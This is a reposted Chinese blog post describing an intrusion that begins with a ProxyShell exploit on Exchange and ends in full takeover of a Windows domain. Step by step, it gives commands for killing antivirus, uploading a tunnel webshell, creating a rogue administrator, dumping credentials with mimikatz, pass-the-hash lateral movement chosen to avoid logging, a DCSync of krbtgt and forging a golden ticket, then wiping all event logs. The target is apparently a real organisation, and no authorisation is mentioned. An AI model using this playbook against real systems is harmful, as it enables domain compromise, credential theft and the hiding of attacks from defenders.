由Exchange漏洞ProxyShell引发的一次内网渗透

admin 2023年2月3日02:27:16评论53 views字数 3331阅读11分6秒阅读模式

0x01 Exchange中的ProxyShell漏洞前言

ProxyShell是Exchange的最新漏洞,CVE编号为CVE-2021-34473(远程代码执行)、CVE-2021-34523(特权提升)、CVE-2021-31207(安全绕过漏洞),有兴趣的师傅可以自行去google、twitter等找找相关文档。

放上之前看到的复现链接:https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1
https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/

0x02 内网渗透

Proxyshell导出的马一般都是system这种高权限,这个跟Exchange规则有所关联,所以基本不需要提权,当然也有极少数获得到的shell无法执行命令。我这里是直接使用的某条有system权限的shell,操作起来比较方便。

初步信息搜集:
1.查看当前用户身份
命令:whoami
由Exchange漏洞ProxyShell引发的一次内网渗透
2.查看系统信息(包括系统、域等)
命令:systeminfo
由Exchange漏洞ProxyShell引发的一次内网渗透
3.查看ip信息
命令:ipconfig
由Exchange漏洞ProxyShell引发的一次内网渗透
4.查看端口开放信息
命令:netstat -ano由Exchange漏洞ProxyShell引发的一次内网渗透
5.查看进程
命令:tasklist /SVC
由Exchange漏洞ProxyShell引发的一次内网渗透
将查询出来的结果复制后,贴到在线查询进程杀软的网站,可快速查找出目标是否开了某些杀软。
杀死进程命令:taskkill /f /pid 1337  强制杀死进程id为1337的进程

在线查询:

https://www.ddosi.org/av/1.php
https://mrxn.net/avlist/

6.查看域管理员
命令:net group "domain admins" /domain
由Exchange漏洞ProxyShell引发的一次内网渗透
7.查看域控制器
命令:net group "domain controllers" /domain
由Exchange漏洞ProxyShell引发的一次内网渗透
8.查看域控制器的内网ip地址
命令:ping xxx-AD1
由Exchange漏洞ProxyShell引发的一次内网渗透
初步信息搜集完成,3389内网开放,当前权限是system,域内成员机,杀软是windows自带的defender,域控制器1的内网ip是10.100.168.20

0x03 内网隧道搭建


因为3389需要内网ip去连接,所以在这里使用的是Neo-reGeorg3.5版本+proxifer搭建内网隧道。
Neo-reGeorg可以说是reGeorg的升级版,基于python3,新增了自定义key,连接时需要输入key值。
第一次使用Neo-reGeorg需要生成隧道文件
命令:python neoreg.py generate -k kz4 其中 -k kz4的意思是自定义的密钥密码为kz4
由Exchange漏洞ProxyShell引发的一次内网渗透
生成文件成功之后会在Neo-reGeorg文件夹下自动生成一个neoreg_servers文件夹
由Exchange漏洞ProxyShell引发的一次内网渗透
选择一个当前网站使用的编程语言的文件,exchange基于.net也就是aspx,所以这里直接上传tunnel.aspx到目标服务器中的web目录即可。
上传到服务器之后,从web访问一下文件所在地址,reGeorg会显示Georg says, ‘All seems fine’,但Neo访问会是空白页面。
由Exchange漏洞ProxyShell引发的一次内网渗透
成功访问之后即可使用python脚本和proxifer进行连接。
python脚本命令:
python3 neoreg.py -k kz4 -p 17194 -u https://目标/tunnel文件地址
由Exchange漏洞ProxyShell引发的一次内网渗透
连接之后可以测试代理:
cmd中输入curl -x socks5h://127.0.0.1:17194 https://www.google.com
由Exchange漏洞ProxyShell引发的一次内网渗透
也可以用浏览器修改代理插件,使用浏览器访问内网资产。
在配置了proxifer之后需要在proxifer里面新建一条规则,应用程序选择浏览器,动作选择走17194端口
由Exchange漏洞ProxyShell引发的一次内网渗透
接下来进行Proxifer的配置
不得不说proxifer真的很好用,能够实现真正的全局代理,使用v2rayn+proxifer实现真正的全局代理是真的香。
就是使用起来可能小白不容易理解,鄙人不才,有幸被绕住。
点击配置文件 -> 添加代理服务器
由Exchange漏洞ProxyShell引发的一次内网渗透填写好信息之后,点击检查(Check),如下图所示即为隧道搭建成功。

由Exchange漏洞ProxyShell引发的一次内网渗透

下来添加代理规则,同样点击配置文件 -> 代理规则
按照以下配置即可,如果default设置为127.0.0.1:17194那么你本机除了设置的特定规则应用程序以外流量都会经过17194端口,也就是说你使用目标服务器的流量来进行网上冲浪。
所以通常只添加你需要用到目标服务器内网ip的应用程序规则。

由Exchange漏洞ProxyShell引发的一次内网渗透
比如没有使用v2rayn,直接搭隧道连接目标服务器3389的话,这里代理规则在默认的基础上,只需新建应用程序为mstsc.exe 动作为127.0.0.1:17194的规则即可。

为了能够连接到目标机器3389,需要创建一个用户,使用已经获取到的shell来创建一个新的管理员用户。
由Exchange漏洞ProxyShell引发的一次内网渗透
用户创建好了之后直接使用mstsc连接 输入当前主机的内网ip,输入创建好的用户名和密码即可成功连接到主机。
由Exchange漏洞ProxyShell引发的一次内网渗透
由Exchange漏洞ProxyShell引发的一次内网渗透
由Exchange漏洞ProxyShell引发的一次内网渗透
哈希传递(pth:pass the hash)
1.使用pwdump8
使用pwdump8只能获取到本机用户的hash值
由Exchange漏洞ProxyShell引发的一次内网渗透
2.mimikatz
使用管理员运行抓取登录过此主机的用户hash
    提高到debug权限:privilege::debug
    生成日志:log
    抓取hash:sekurlsa::logonpasswords
由Exchange漏洞ProxyShell引发的一次内网渗透

抓取出来的hash会自动导入生成的log文件里面(与mimikatz在同目录下)
3389有点卡,直接将log文件拖回本机Ctrl+F查找administrator字段
由Exchange漏洞ProxyShell引发的一次内网渗透

成功抓取到域控的hash值,接下来进行hash传递,调取域控cmd,后使用psexec获取完整域控cmd。
由Exchange漏洞ProxyShell引发的一次内网渗透
这个cmd权限很低,所以这时候就需要用到psexec这个微软推出的小工具,但实际上最好是使用wmiexec,这样不会被记入系统日志。
由Exchange漏洞ProxyShell引发的一次内网渗透
这样就完全获取到域控机的cmd窗口了,可以使用任意命令进行操作,可以在共享文件夹上传一个mimikatz抓取krbtgt进行伪造票据。
这里还是用rdp来实现
域控机cmd创建用户 -> 加入管理员组 -> rdp连接

0x04 票据传递(ptt:pass the ticket)


1.抓取krbtgt用户信息
由Exchange漏洞ProxyShell引发的一次内网渗透

现在已经进入到域控主机的桌面了。

票据传递需要用到krbtgt域账户的ntlm值,现在用mimikatz给他安排一下。

依旧是用管理员运行cmd,运行mimikatz,privilege::debug提升权限 log生成日志
lsadump::dcsync /user:所在域短域名krbtgt

由Exchange漏洞ProxyShell引发的一次内网渗透
这样就直接抓取出来了。
制作黄金票据需要用到sid和hash ntlm值,将这两个值提取出来。
2.制作黄金票据
mimikatz执行命令:
kerberos::golden /admin:Administrator /domain:域名 /sid:S-1-5-21-3693555575-14188147xx-xxxx85xxx /krbtgt:c60b6f181a83cebd6d78d9279caf9d47 /ticket:Administrator.kiribi
由Exchange漏洞ProxyShell引发的一次内网渗透
执行成功后会在桌面生成一个administrator.kiribi文件.
3.测试票据是否成功利用
将生成的文件复制到域成员机上,然后将域控中上传的mimikatz相关的东西全部删除清理,关闭远程连接。

在域成员机上先使用命令看是否还连接着域控。

由Exchange漏洞ProxyShell引发的一次内网渗透
连接失败,那么使用mimikatz加载一下刚刚在域控生成的administrator.kiribi文件。
由Exchange漏洞ProxyShell引发的一次内网渗透
再次使用命令尝试
mimikatz命令:kerberos::list 可以看到该票据
由Exchange漏洞ProxyShell引发的一次内网渗透
验证成功
清理痕迹等擦屁股的操作,明说我不会,直接打开事件管理器全部删除,下号!


From:https://kam1.cc

往期推荐 

// 1

Java代码审计篇——Ofcms

// 2

对某外企的一次内网渗透复盘(一)

// 3

浅谈Web安全从SOP到CORS跨域再到CSP

// 4

| 某2021 CTF复现


原文始发于微信公众号(巡安似海):由Exchange漏洞ProxyShell引发的一次内网渗透

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月3日02:27:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   由Exchange漏洞ProxyShell引发的一次内网渗透https://cn-sec.com/archives/1342630.html

发表评论

匿名网友 填写信息